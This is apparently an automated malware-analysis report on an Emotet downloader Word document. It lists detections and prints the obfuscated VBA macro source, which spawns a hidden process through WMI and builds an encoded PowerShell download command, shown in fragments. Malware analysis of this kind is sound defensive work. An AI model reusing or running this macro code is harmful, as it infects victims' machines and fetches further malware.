Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0ffa66af30c25de6…

MALICIOUS

Office (OLE)

337.9 KB Created: 2019-02-20 22:40:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 1d8ab83b87b33057f80a13198675c82d SHA-1: a54d705db4764474fe6140129068075746abdea9 SHA-256: 0ffa66af30c25de60b1235bfc329ceab6ffd038fef0873d0c2137befed58ed13
210 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6864615-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6864615-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set h22227 = GetObject((Q820628 + "win" + o52820 + "mgm" + W_92559_) + (w8_16__ + "ts:Win" + Q2149_0_) + "32_Proce" + "ssStartup")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 73317 bytes
SHA-256: 704af98808f5a79e1c242d582176ace8c0bd3c5d625d6caecc8bd95114553136
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "n087__81"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "l8498_"
Function T_58451()
      J0333066 = 165732467 - 84652675
   E1_28_ = 341336524 + f_0_299
  Select Case w60605
      Case 972385022
         q7345201 = Chr(624482569 * Tan(w24079_))
         E2_223 = l582228
      Case 269909015
         X842___ = J1_2673_
         D2342553 = z06337_1
      Case 981982878
         O1508_42 = 624919321
         o845553 = o63_70__
   End Select
      c11__2_2 = 335302691 - 163767063
   a_333_2 = 752066423 + Q_5_185
  Select Case O7___552
      Case 728235867
         F24_46 = Chr(428667804 * Tan(S3302_48))
         O_4591 = U___5_
      Case 950356694
         a60020 = G53011_
         d7__0_9 = p19_40
      Case 725046007
         F36321_7 = 711249076
         T_17057 = r9262_3
   End Select
      w594__25 = 288704408 - 610200261
   v042_279 = 663037056 + w_64_5
  Select Case H4627_
      Case 910985547
         I381___ = Chr(898789535 * Tan(o06722))
         Y6961986 = i_3_4_6
      Case 489408960
         K_96_4 = m_51647
         n3_85755 = v7719__7
      Case 634332277
         h_0209 = 206569062
         v70_057 = S51951_4
   End Select
      t638381 = 862278573 - 505579941
   C87___ = 735337498 + N2_6_5_4
  Select Case t86278
      Case 928021334
         m72___70 = Chr(861348596 * Tan(i7993_7))
         t0__57_0 = S___7526
      Case 910432846
         h15976_ = j136_206
         F_3_98_ = Q16946
      Case 230400240
         E_1__85 = 335104513
         w60_167 = H029__7
   End Select
      G4__55 = 305226670 - 244983474
   E95_25_ = 160350089 + O01__6_3
  Select Case j_10_3
      Case 314938330
         F30_60 = Chr(8566119 * Tan(w_1901_))
         w__824 = G803_1__
      Case 811370710
         k04_464 = C4_04_
         N817_0 = V3__40_
      Case 303917444
         c0103_1_ = 650365981
         w_10004 = r__7_3
   End Select
      T7_249 = 847119990 - 705658037
   P8___3__ = 856104116 + z_0_61
  Select Case t62570__
      Case 869250915
         n5_60111 = Chr(235842181 * Tan(c1_26922))
         O__5344 = X1719__7
      Case 992062415
         w533_16 = J0_847
         B7___5 = C1556323
      Case 492833419
         f872____ = 788258737
         m34_7828 = p7_122
   End Select
      R_8219 = 149600281 - 549551068
   R2__5_ = 106903657 + m9_7158
  Select Case F_5___6
      Case 266598414
         C138___8 = Chr(141465764 * Tan(N0875978))
         c4872_95 = D943791
      Case 965999343
         m600_3 = X4__01
         i2__2414 = W6_088_
      Case 163002022
         a_9_25 = 870513954
         Q_3001_ = J857_3_7
   End Select
End Function
Function z_376_60(o5407_40, U_8155_7)
On Error Resume Next
      w32_493 = 53167550 - 519478825
   T5___29 = 870167159 + G3_56172
  Select Case p06354_
      Case 449068510
         t036125_ = Chr(118122534 * Tan(F80_138_))
         v99_0_89 = I_017_
      Case 605775791
         j01__0 = U416881_
         b54_28_ = s952849
      Case 899183990
         q_293258 = 804588310
         i1762_ = i7_55431
   End Select
      f057961 = 583149826 - 654559089
   Q78893_ = 982340265 + h__1846_
  Select Case k4115_
      Case 82134585
         w02772_8 = Chr(24314109 * Tan(L_____))
         D2901__ = b402_29
      Case 98842661
         X___655 = W31970__
         G7_16___ = q3_74_8
      Case 344219010
         U03_04 = 463832953
         X_6536 = v5_9625_
   End Select
Set h22227 = GetObject((Q820628 + "win" + o52820 + "mgm" + W_92559_) + (w8_16__ + "ts:Win" + Q2149_0_) + "32_Proce" + "ssStartup")
      f_90__ = 921341036 - 49934387
   R5_8_865 = 649702550 + z44780
  Select Case u12736
      Case 772081429
         Y668441 = Chr(51375532 * Tan(a96062))
         n54330_ = K_023___
      Case 281035449
         j_46_7_ = R_53_15
         K0_67_ = I6_7_267
      Case 978124356
         s3__35 = 444412635
         a527092 = O763246_
   End Select
      E_90_1 = 165937139 - 273151810
   a_9452 = 399875950 + F68_917
  Select Case n_943_7
      Case 70958389
         a92_648 = Chr(668676207 * Tan(r7_936))
         u1081_8 = O___47_
      Case 223906837
         U20166 = O211_2_
         z_8678_ = L59_3666
      Case 270906397
         B42324 = 749333586
         W__1__ = j_8__7
   End Select
h22227.ShowWindow = P_906_7_ + 301848 - 301848 + s644_31_
      r83_4_30 = 225932756 - 770966643
   K9_38_41 = 786966643 + h_910_
  Select Case B_7211_
      Case 159632424
         c89_9159 = Chr(415615117 * Tan(w73_58))
         p7__3_2 = m2_9_54
      Case 314720184
         H8028082 = I08888
         i6284__5 = B2_90_1
      Case 99421301
         J40__8 = 304196731
         M26_6_4 = O_54_11
   End Select
      S8_6960 = 256181269 - 377785941
   a95300 = 701109066 + B_7_742
  Select Case P6_733
      Case 199337944
         i3_44_ = Chr(397453708 * Tan(f_1690_))
         E1_6441 = U17218
      Case 685419566
         d_0984 = o3__18_
         D13_94 = A227_70
      Case 500746593
         k_77___ = 445705826
         a58_6_ = z4_8818
   End Select
B_766_9 = GetObject((T__8_086 + "winmgmts:Wi" + c_627_ + "n32_P" + "rocess")).Create((w69095 + o5407_40 + h192_0_ + o0_1_685 + a86071 + V____0), m8__84, h22227, U1_3993)
      U2__79 = 105115018 - 267633378
   N46_267_ = 720320969 + f29___
  Select Case G0536_
      Case 529514973
         o__6752 = Chr(44935528 * Tan(F2_9_13_))
         o80_1_ = H139521_
      Case 843143075
         o7_232 = D824_8
         L4_6043 = f8__9138
      Case 644745414
         r78__016 = 6303221
         D78_8_ = a515894
   End Select
      t0_85265 = 869773610 - 357706517
   R2_5170 = 835861018 + j9832_3
  Select Case R___6_81
      Case 87118134
         k70_95_5 = Chr(994122417 * Tan(U761313))
         F580_74 = d7987_3
      Case 934875177
         o__8007 = Q97_200
         w3316_60 = B0_4694_
      Case 187130811
         z51_3_29 = 519327445
         T5_75062 = j96_76
   End Select
      U7_302 = 523352998 - 159444180
   S____84 = 346784970 + D4___2
  Select Case i_7_750
      Case 835921127
         O8059_ = Chr(437534344 * Tan(k2_9__))
         H9258_ = n_95843
      Case 709154965
         l7_9_6 = W693__92
         i__80_ = s__7_460
      Case 260346978
         a0_9_89 = 963898296
         o060_1 = J_1_28_
   End Select
End Function

Function o__8_30()
On Error Resume Next
V85_67 = 380453829 - 711924930
   o_527__5 = 645296289 + k92540
  Select Case d594_918
      Case 133271285
         R50_31 = Chr(670348290 * Tan(D60_84__))
         J_41_83 = Y660164
      Case 657475433
         v4817939 = k_359262
         N194250_ = P9_145
      Case 618056477
         U__4_083 = 35678617
         z3549_05 = w7_962
   End Select
      h03__796 = 104436133 - 305387904
   B0_5_5 = 848293717 + S09683
  Select Case V3096524
      Case 424770155
         h__90219 = Chr(973626370 * Tan(u1775_))
         L420025 = S0285_9
      Case 405758476
         w5898_ = j2_13_
         l8248586 = q092_1
      Case 888633200
         J_98_8_ = 659489749
         Q859831 = c0_264
   End Select
c3_343_1 = "rshe" + "Ll -e " + "JAB" + "YADA" + "AXwA3A" + "DIAXwB" + "fAD0A" + "KAA" + "nAHc"
Z098_1_7 = 296432197 - 246018442
   u_68_05_ = 708166239 + V8_8_6_7
  Select Case M7_37_
      Case 248736904
         O21_66 = Chr(999894312 * Tan(k2114_4))
         Z_16_890 = R70229_9
      Case 344429619
         K_18__3 = n_63__
         R82_151_ = z756_445
      Case 216770519
         B9671_62 = 506810369
         d24_9_2 = h__3__
   End Select
      P1775_3_ = 14315147 - 321994708
   u_6____ = 373288040 + G__1_7
  Select Case M9_634
      Case 497132512
         G55_95_ = Chr(222846623 * Tan(B49_79))
         l84_06_2 = b_25_49
      Case 21468679
         b6__96 = i_6_15_8
         k__865 = w06637_
      Case 905773191
         h75412 = 427475644
         p0_86_ = t41_92
   End Select
V59__3_ = "AMgAnA" + "CsAJwB" + "fAF8AX" + "wBfAC" + "cAKw"
M73566_ = 997735540 - 175213674
   B89938 = 11055139 + o__46_
  Select Case E6062_8
      Case 858285651
         b2_56267 = Chr(816124679 * Tan(K606_059))
         Y_7__79_ = l_97_6
      Case 454448799
         r_2_0__1 = F444_24
         j0_819_ = I963__21
      Case 362040011
         B_7990_7 = 755175107
         b21_116 = j03_6_
   End Select
      Y9156651 = 127153113 - 634634884
   f87_82_ = 596607579 + w4496_30
  Select Case z1_7954_
      Case 337036333
         K_12_067 = Chr(981770818 * Tan(N99_2_))
         s723699 = M__4__
      Case 773377194
         c85_48 = m4__47__
         F907402 = l_6__5
      Case 850400747
         C138_8_ = 344292889
         A5_4260 = D490169
   End Select
      l_73___ = 983372368 - 223538158
   c615_5 = 415040342 + E85_559
  Select Case A6_08_
      Case 109858919
         A__454 = Chr(476494016 * Tan(u7_3285))
         X9_023 = n2__23
      Case 445348508
         h__4168 = D2_4652_
         V5_94286 = q572__9
      Case 606669401
         N5_62_6 = 510333701
         n48801_ = J8193__
   End Select
z7647__ = "AnADA" + "AXwAn" + "ACkAO" + "wAk" + "AFMAM" + "gAyA" + "DMAOQA" + "0AF" + "8AP"
d10_7__9 = 39059769 - 76405343
   m_21__ = 724168922 + M1_556
  Select Case G977477
      Case 549681182
         l9650_5_ = Chr(32075130 * Tan(H__7851))
         I853_79 = S07___9
      Case 824036563
         B_754__ = z_2605_
         M633_5 = B5___06
      Case 641267476
         j314__1 = 569139293
         N_83_5 = I_3300_
   End Select
      U70224 = 677364619 - 567878897
   K_517_ = 721077970 + T408_7
  Select Case F8_4___
      Case 729219569
         R4_55075 = Chr(30766307 * Tan(V4654__0))
         h8_91_16 = R_26051
      Case 965260924
         h7__04 = d__10100
         M_6__468 = i__10_23
      Case 736048225
         p42_1_53 = 37506175
         I5_40_78 = C9491_
   End Select
      Q_589_84 = 483218744 - 768411808
   s_5_9677 = 954986685 + S_42_4
  Select Case u__32792
      Case 161585633
         L_5_6651 = Chr(344096137 * Tan(Y_88_9))
         n_7___1_ = z556486
      Case 70330106
         m7400_51 = a1_65__
         r59395_ = c13_98
      Case 44081357
         q4_0_29_ = 988096141
         D8_69382 = Q_248969
   End Select
B1_0735 = "QBuAG" + "UAd" + "wAtAG" + "8AYgB" + "qAGUA"
w7445_81 = 207471786 - 158043900
   O23_6_1 = 846101340 + w924___
  Select Case i8_61_2
      Case 207059902
         K___0_8_ = Chr(334511941 * Tan(z04880))
         p82897 = l32501_
      Case 412156032
         t67619 = h_0_73_
         V26550 = p416___1
      Case 539260966
         j68741_3 = 685981691
         z78_7420 = C94643_2
   End Select
      R__2_86 = 76769830 - 125963957
   Q418_831 = 181624878 + d14186
  Select Case O506038
      Case 210580109
         z83962__ = Chr(868096877 * Tan(b___53))
         z__08280 = U55_13
      Case 986424766
         i349818_ = d6_05511
         b_6_971 = q9_844_
      Case 701660092
         i_52_5_ = 444156681
         h13136 = S_21_395
   End Select
      B_1993 = 396066253 - 440918411
   n605____ = 923844082 + q423_6
  Select Case P750652
      Case 51796796
         r_0_6_ = Chr(692751227 * Tan(a016_8))
         i_69__ = W7_5_0
      Case 927244431
         E971_289 = i52635
         F862290 = w25__37
      Case 839779914
         J___10_ = 414781875
         D81_4_5 = W_6_98
   End Select
t29849 = "YwB0AC" + "AATg" + "BlAHQA" + "LgBXAG" + "UAYgBD" + "AGwA"
n89740 = 644235020 - 390287027
   p____9 = 747355397 + O_2773_4
  Select Case j6__92
      Case 847676888
         b3_42__ = Chr(232604184 * Tan(M36_91))
         B245613 = z_4_1_23
      Case 519484615
         A_8__16 = c3_27_
         J__29__ = S375020_
      Case 613653740
         P769246 = 796410732
         T41_1_ = V_90204
   End Select
      n14_7_ = 620830606 - 73924767
   D07_73_4 = 463950568 + f1439_
  Select Case B_98__7
      Case 475569644
         F27651 = Chr(693185593 * Tan(Y1_74__3))
         i_4_8_17 = B__726_
      Case 789568894
         J7__3836 = D_7804_2
         M984_85 = u_1_5_
      Case 196383663
         r1_0277 = 299805282
         o_7___ = z7194_1
   End Select
      s95847 = 207257743 - 62306356
   z_851995 = 614136168 + L3_36_
  Select Case h__889_
      Case 43815845
         T_8_3_ = Chr(78962858 * Tan(Y28_190))
         X5_7687 = T1_380
      Case 254147208
         m61_2195 = k____6
         L_5166_ = j48_7_
      Case 895440269
         V73__1 = 73368178
         C64___1 = S01016_
   End Select
E24_8310 = "aQBl" + "AG4Ad" + "AA7A" + "CQATgA" + "1AF8AN" + "ABfAD" + "EAXw"
h82_3_73 = 716364069 - 677636385
   q_3_3007 = 720119618 + s5_4_1_3
  Select Case i_80_7
      Case 124019605
         f___6__3 = Chr(839823354 * Tan(T16_49))
         c2_7_73 = B439019
      Case 990444786
         a43_147 = V_75474
         Q464_139 = i___62_6
      Case 334695398
         M4088_9_ = 974027816
         Y_09155 = Y7_30912
   End Select
      O_839_6 = 996988315 - 284550332
   z84_22 = 444413419 + w3__905
  Select Case G4_7_2_3
      Case 96571649
         p_828293 = Chr(420181771 * Tan(v5972_08))
         S438389 = z1_184
      Case 644178501
         b13935 = q71_789
         Y585812 = p14247_
      Case 432208644
         N_1_48_3 = 84832744
         Y4_2_56 = A259756_
   End Select
      k5977__4 = 8227093 - 119408239
   t_71863 = 794213018 + T66__2
  Select Case K6544471
      Case 535555772
         K50_8449 = Chr(148221280 * Tan(U128_327))
         z3__4903 = r6_6_00
      Case 834732048
         Y2_6_43 = M_2_24
         p499787_ = k0485_
      Case 511513951
         Q8__7__6 = 670801235
         s30__82_ = U613711
   End Select
u412__ = "A9AC" + "gAJwBo" + "AHQAJw" + "ArAC" + "cAdAA" + "nAC" + "sAJwBw"
s86215 = 568942778 - 610574441
   Z2__44 = 481974866 + T704_3
  Select Case B_81431
      Case 728571900
         A_696_7 = Chr(454708636 * Tan(H_73441))
         N8_7_8 = H4__3_07
      Case 725735429
         D__6_354 = p12391
         Q910_5 = c____88
      Case 266214115
         W21474 = 346641644
         J_98_96 = n6_838
   End Select
      B62_01 = 633092503 - 513015146
   d8_500 = 173187400 + D_783_6
  Select Case q334__0
      Case 523906298
         h90___ = Chr(566245961 * Tan(q41_2_25))
         t_5530__ = w039___6
      Case 995516248
         h20_4_7 = h930455
         G3242_3 = t3105_5
      Case 238400454
         T__6__2 = 328113642
         Q880__6 = z__358_
   End Select
J6160_ = "ACcA" + "KwA" + "nAD" + "oALw" + "AnA" + "CsAJ"
k_666_4 = 767165457 - 629057688
   w__15826 = 564462357 + D5__30_7
  Select Case f8522_
      Case 203007767
         Y59_9847 = Chr(575999532 * Tan(N7_1_100))
         p31_568 = p_2936
      Case 462171733
         K_360_ = j46128
         j383420 = w_3_00
      Case 277112444
         Y_66751 = 175361204
         Y4_673 = v3_239
   End Select
      z79_9_4 = 748305718 - 788573094
   G4___04 = 689035799 + I1_18___
  Select Case l_4640
      Case 568076232
         W927_8_5 = Chr(623972262 * Tan(Y____70))
         q6150_ = d0421_
      Case 341157796
         i47004 = i__78_
         J219___5 = z847400_
      Case 850904839
         R321423 = 350333531
         s36_04 = s72__4
   End Select
a4___0 = "wAvADM" + "AJw" + "ArACcA" + "LgAnA" + "CsAJ" + "wA4A" + "C4A" + "MQA" + "1ADA"
E_29__77 = 206001434 - 792713177
   t11___2_ = 40850846 + Z8_412_
  Select Case c_4289
      Case 52262094
         m_63_1 = Chr(842875570 * Tan(K__906))
         C296541 = u__62_
      Case 788312708
         j15_06 = l13_5_8_
         k_605893 = q2_216_7
      Case 327700837
         L178_64 = 603352345
         b8_2___ = G8501932
   End Select
      V54_2_8 = 376629692 - 536818067
   r1_5_55 = 439502394 + d_7_7_
  Select Case i_74_473
      Case 10748272
         D060__0 = Chr(149738769 * Tan(W__07_6))
         h__8_529 = s053_57
      Case 179861087
         M_0_4418 = X151704
         Q0379__ = G61032_
      Case 883716653
         O0491_2_ = 335280327
         D140_12 = w42763
   End Select
L5977__1 = "ALg" + "AzA" + "DUA" + "LwBOAC" + "cAKw" + "AnA" + "DEA" + "JwA"
P8__6_ = 470876974 - 184988518
   j_8265 = 382623187 + w83_41
  Select Case U802_9
      Case 532090418
         O8_229 = Chr(324233369 * Tan(F078__))
         E9280_ = E001_419
      Case 300508686
         u____13_ = t9_188_
         i9_61_9 = r0_3__
      Case 151430657
         i488_5 = 171709836
         s_5013 = N_8__41
   End Select
      A1_6_35 = 169019322 - 725668125
   d3980405 = 497125182 + t__9__1_
  Select Case j877__
      Case 567759656
         q5764_ = Chr(71727371 * Tan(G0_90133))
         R52_30 = E1042_7
      Case 990881308
         T9__210 = B_75_74
         j64_44__ = c_206___
      Case 591559088
         E471__ = 655887891
         r___5439 = p3__3__
   End Select
z806793 = "rACcA" + "QgBl" + "AGgAJw" + "ArACcA" + "dAAwA" + "EoAb" + "QAn"
o__8_30 = c3_343_1 + V59__3_ + z7647__ + B1_0735 + t29849 + E24_8310 + u412__ + J6160_ + a4___0 + L5977__1 + z806793
End Function

Function S853610()
On Error Resume Next
f23383 = 307987268 - 40011284
   o489_43 = 276437926 + w75_80__
  Select Case D2075__8
      Case 446009561
         Q4203_7 = Chr(909815727 * Tan(Y_622_))
         t58__80 = P189_6
      Case 542512667
         M36_6_ = f5553_6_
         q55819 = t4996_
      Case 451991552
         H4__004 = 962754479
         m21204 = Q_03_44_
   End Select
      w5_4054 = 832761875 - 475916104
   s9592344 = 905374331 + b7207_77
  Select Case z66710_8
      Case 790429704
         G0184_31 = Chr(905194386 * Tan(u3_52_))
         S1_5_3 = B86_2_
      Case 66692790
         E342569_ = L0_8_08
         H6355_28 = H12691_9
      Case 128029936
         T530075 = 969138104
         d6545_ = S3_11872
   End Select
G1672_2 = "ACsA" + "JwBX" + "AFQAX" + "wA2ACc" + "AKwA" + "nADAA"
r682202 = 793716806 - 901497072
   a912_7_7 = 387707327 + i5314_
  Select Case a4_16892
      Case 927153229
         I482_8 = Chr(823692060 * Tan(q_312_))
         w27293 = j90946_
      Case 816434416
         t14577 = t82__006
         L281993_ = B735____
      Case 958303474
         z6_565_ = 768147723
         u4_920_6 = i51_76
   End Select
      q6051_78 = 582130540 - 915944855
   w507___1 = 456996919 + v8_240_1
  Select Case w13079
      Case 884332929
         n80_19_ = Chr(631131930 * Tan(K55_8_))
         m4____ = P8_74_
      Case 119416496
         T4__86 = A__939_0
         i8_901 = T_9_44
      Case 280122016
         c_44__ = 40384517
         w72___ = X83_9__3
   End Select
      B49_72 = 888840038 - 138037140
   o_5064 = 957871234 + V6666_4_
  Select Case d249080
      Case 252948441
         S_0_226 = Chr(838838910 * Tan(K301__0))
         B4228_ = I93_191
      Case 318008728
         c4476566 = M____15
         o2__93 = h389053
      Case 96115571
         d___3904 = 374416710
         w_5_2_ = M043__3_
   End Select
M_8577 = "QAB" + "oAHQ" + "AdABw" + "ACcAK" + "wAnA"
s__3126_ = 482460274 - 528615359
   z882_4 = 376369511 + G_63971
  Select Case i55391_
      Case 594743742
         c__86350 = Chr(783722726 * Tan(m045__8))
         j51____ = X5616875
      Case 476600653
         Q_4___ = t_349_
         t_0958 = R3_4__6
      Case 401763015
         E_21__4_ = 912806582
         F_3259 = U__1_0_3
   End Select
      u038679_ = 395541864 - 805708396
   z_49_42 = 528497626 + O721296
  Select Case G_0__5_
      Case 732776323
         V6_384 = Chr(402394916 * Tan(f38998))
         T651663_ = q65_82
      Case 492022890
         Z48__836 = H277885
         z195_1 = z_072_8
      Case 894906999
         h9741048 = 126917365
         n5367___ = l2_49_31
   End Select
D_028__ = "DoA" + "LwAnAC" + "sAJwAv" + "ACcAK" + "wAnAG" + "kAZg" + "BwAC"
X_4_69 = 23599549 - 731003313
   W468_2 = 929834868 + l_123_
  Select Case o26_4_45
      Case 83823937
         R9_4__ = Chr(488863145 * Tan(c0__925))
         j1__049 = I434__
      Case 646170593
         o8330__ = P7339_
         C67_094 = k65__4
      Case 189601904
         j485__4 = 110726204
         z_9357 = z92__6
   End Select
      G_38_2_0 = 885505375 - 604744524
   l283_3__ = 144918045 + v3_08_
  Select Case u_90228
      Case 310095428
         l8_6__ = Chr(712615532 * Tan(p6429_05))
         V50944_2 = E7_906_
      Case 360523990
         B_637_9 = w7_360
         w82__5 = S8063_5_
      Case 31656167
         z824961 = 446199701
         P8__6_ = a398727
   End Select
      u0_90697 = 793570331 - 369535000
   a624__ = 154672411 + z_774201
  Select Case a949279
      Case 392378778
         T541__ = Chr(306222318 * Tan(K8__1__4))
         M_7__50 = z_58_090
      Case 547049967
         Q_14__8 = i436_1
         W502079_ = F2745_
      Case 555508325
         s421__1 = 180609314
         u8_6044 = j674__6
   End Select
E573191 = "cAKwAn" + "AGMAL" + "gAnACs" + "AJw" + "ByAHUA" + "LwBlAC" + "cAKwA" + "nAE"
T23_63_6 = 789585638 - 339219278
   j___2_ = 523316204 + u99160_0
  Select Case f_____47
      Case 584731472
         m04712_ = Chr(618815891 * Tan(j__789_))
         z079_4_ = F_5_69
      Case 135473226
         a691254 = v54448
         h5174439 = L_7659
      Case 259715090
         v_926_4 = 827541538
         s9__9___ = E7793_
   End Select
      o_937_6 = 59956105 - 765182134
   O5003_1 = 986288425 + V_9_2_
  Select Case J__53_74
      Case 247389601
         Q___92_5 = Chr(921930271 * Tan(d9826_13))
         E4948_ = K_975077
      Case 969779263
         P76_436_ = j323949
         E206_262 = j__1519_
      Case 473969650
         J4178_ = 504071888
         Z_24__91 = r22_68_3
   End Select
      V57__81 = 118262494 - 593318289
   j_6391 = 157783266 + d07809_
  Select Case R97769
      Case 343722088
         K6___8_0 = Chr(647771387 * Tan(K4_93__))
         D30_2430 = p__4_48
      Case 659035354
         m__09_2_ = d_70_1
         r8528359 = t602__32
      Case 221649574
         M37____ = 341781682
         z99_490 = T192_797
   End Select
z9___3_ = "sAS" + "wBpA" + "CcA" + "KwAn" + "ADYAc" + "QAn" + "ACsAJw" + "A1AFkA" + "VQBD"
k764_24 = 298551925 - 691009321
   z15_81_ = 54296932 + i33763
  Select Case U7009_
      Case 73459719
         l_6___ = Chr(284249827 * Tan(O_418127))
         L_8_94 = p566_9_3
      Case 181525183
         s6_26_ = R_993__0
         A_86_7 = w2916_1
      Case 255753333
         Q02__8_2 = 176784740
         d2___3 = W97___8
   End Select
      z_7_9_ = 210388507 - 823776446
   A2263__ = 90080590 + u_8_5884
  Select Case i5782_1
      Case 262950406
         n3_286_4 = Chr(849629959 * Tan(m67437))
         A3_26_0 = R4_0_11
      Case 699842809
         P__5636 = z4_76_20
         U4__4_ = U_669225
      Case 534698679
         f____056 = 731613331
         p5590273 = m612890
   End Select
      W__8417_ = 633620982 - 5504359
   b_24_7_2 = 277910839 + H8_6_5
  Select Case z7453_1
      Case 70229476
         c39_739_ = Chr(79129505 * Tan(Y17_891))
         a8_7_75 = O_637_49
      Case 340258963
         p147376_ = S1_13_7
         B_2__915 = j_4_6_75
      Case 322288523
         A825__8 = 148219323
         s771_027 = J_10_2
   End Select
m8_8_69 = "AF8AVw" + "B5AFA" + "AagB" + "WAE4AW" + "AAnAC" + "sAJwBA" + "AGgAJ" + "wArAC"
H_8_04_ = 555383091 - 364895291
   k9900_ = 680581920 + I874661_
  Select Case H4___43_
      Case 466447304
         J723396_ = Chr(504839991 * Tan(r_494474))
         i8____07 = L42_2624
      Case 818110843
         X146_9 = v849_9
         M3__5_ = d048_347
      Case 587035434
         Y97245 = 425532392
         z93632_ = w_748_
   End Select
      S9_3_3 = 71211017 - 343345000
   N7961_ = 427139142 + o5_1_5
  Select Case z5_131_
      Case 95646135
         l4665_ = Chr(258444497 * Tan(V55_2__1))
         c2_7021 = F794__
      Case 705827182
         S11_1013 = i541397
         q054_394 = S16430
      Case 810923148
         D378784_ = 844847215
         i7__0_1 = f76424
   End Select
G_4_1777 = "cAd" + "AB0AHA" + "AOg" + "AvAC" + "8AYQ" + "AnA" + "CsAJwB" + "wACc"
F30_882 = 500928125 - 379489001
   i753_279 = 368255166 + M72_82_3
  Select Case a____0
      Case 536607759
         Q8_7__1_ = Chr(447156385 * Tan(K_66_40))
         z031_305 = U_19_4
      Case 392256071
         D746_5_ = i_81_8_
         p99307 = i3372855
      Case 547976778
         P5__75_7 = 636278744
         Z_5_95__ = E10_7_76
   End Select
      D201717 = 656420485 - 864609558
   B473565_ = 693800700 + o__2_0
  Select Case H7_2__38
      Case 216031918
         I_301_0 = Chr(613065044 * Tan(w8_7_5))
         S2_932 = G052_2
      Case 993252941
         M82_3412 = u_0_85
         f_8_24__ = r2_8__
      Case 675404049
         F3__77_7 = 222370054
         q_646537 = A74_4956
   End Select
l860_1 = "AKwA" + "nAGsA" + "ZQBsA" + "GUA" + "YwB"
S853610 = G1672_2 + M_8577 + D_028__ + E573191 + z9___3_ + m8_8_69 + G_4_1777 + l860_1
End Function

Function L_05371()
On Error Resume Next
w1431_ = 588611493 - 85519978
   r1056_0 = 812878552 + w74_492
  Select Case D38_2302
      Case 368809942
         Y20___0 = Chr(75298911 * Tan(q6_658_))
         V0424741 = m_50_1
      Case 835570981
         C5_1_64 = d_0__7_
         z760_2 = r70367_5
      Case 170951001
         f8__907 = 772277531
         v_____52 = p3_8_26
   End Select
      U__2748 = 85788659 - 104031655
   i8_____0 = 212937470 + c_883399
  Select Case U7_627_4
      Case 822296290
         u8695_ = Chr(535017499 * Tan(r8_0419_))
         Y75_31_ = a3760704
      Case 157788171
         M21___73 = u_377_
         L866028 = O49_61
      Case 200165269
         X9158_6 = 693310297
         N_4910_ = t6_39_3
   End Select
i0_44_47 = "0AHIA" + "aQBjA" + "CcAK" + "wAn" + "AGEAb" + "AAnACs" + "AJwA"
l_0_3882 = 645174860 - 874021669
   M0_824 = 162153184 + M_521__7
  Select Case p_81__
      Case 410467507
         B9_7805 = Chr(142905932 * Tan(I_7727_))
         G0891_8 = j1002804
      Case 487237121
         W0___635 = d_8_1_7
         n16982_7 = r__9937_
      Case 690255646
         i414122 = 868134178
         K4_9_21 = B_467885
   End Select
      u05___ = 648258166 - 975084444
   U5_4077 = 888185138 + w166____
  Select Case I055847
      Case 628752660
         B_9__369 = Chr(205150422 * Tan(I375_4_1))
         s__6__ = W1__6036
      Case 627993267
         U2937_7 = k_89__3_
         K3____1 = q36076__
      Case 253425417
         T437_78 = 239598428
         Z494477 = Q700__45
   End Select
u_57__ = "uAC" + "cAK" + "wAn" + "AGMA" + "JwArAC" + "cAbwB" + "tAC4A" + "YQB1AC"
R6_670_2 = 364999884 - 324875989
   q_0083 = 876444852 + S_73__4
  Select Case P__6_27_
      Case 221376892
         j9965_4 = Chr(394374355 * Tan(u4_5_873))
         Y_917361 = i_04__
      Case 239172551
         K9_0_6__ = f__053__
         G53_55_8 = N555549
      Case 174911061
         l453_5_ = 284535553
         J_03__ = Q87330
   End Select
      Y__31___ = 664695427 - 761030275
   H63__39 = 23571481 + n88593
  Select Case h36138_
      Case 32103299
         c_520_2_ = Chr(909703852 * Tan(P_1_51))
         m2_7222 = L9__0_
      Case 475828366
         i__3_437 = S4_786
         n63_90_9 = F929_86
      Case 581570426
         T850___ = 871037649
         K8_1_9 = O142__6_
   End Select
      z_69__ = 628570866 - 92798198
   P9_6451 = 581786384 + H89381
  Select Case A_04_4_
      Case 852913821
         s1__1_77 = Chr(536580485 * Tan(w63122))
         M1__12 = E0_7653_
      Case 719016424
         b_0287 = a73_28
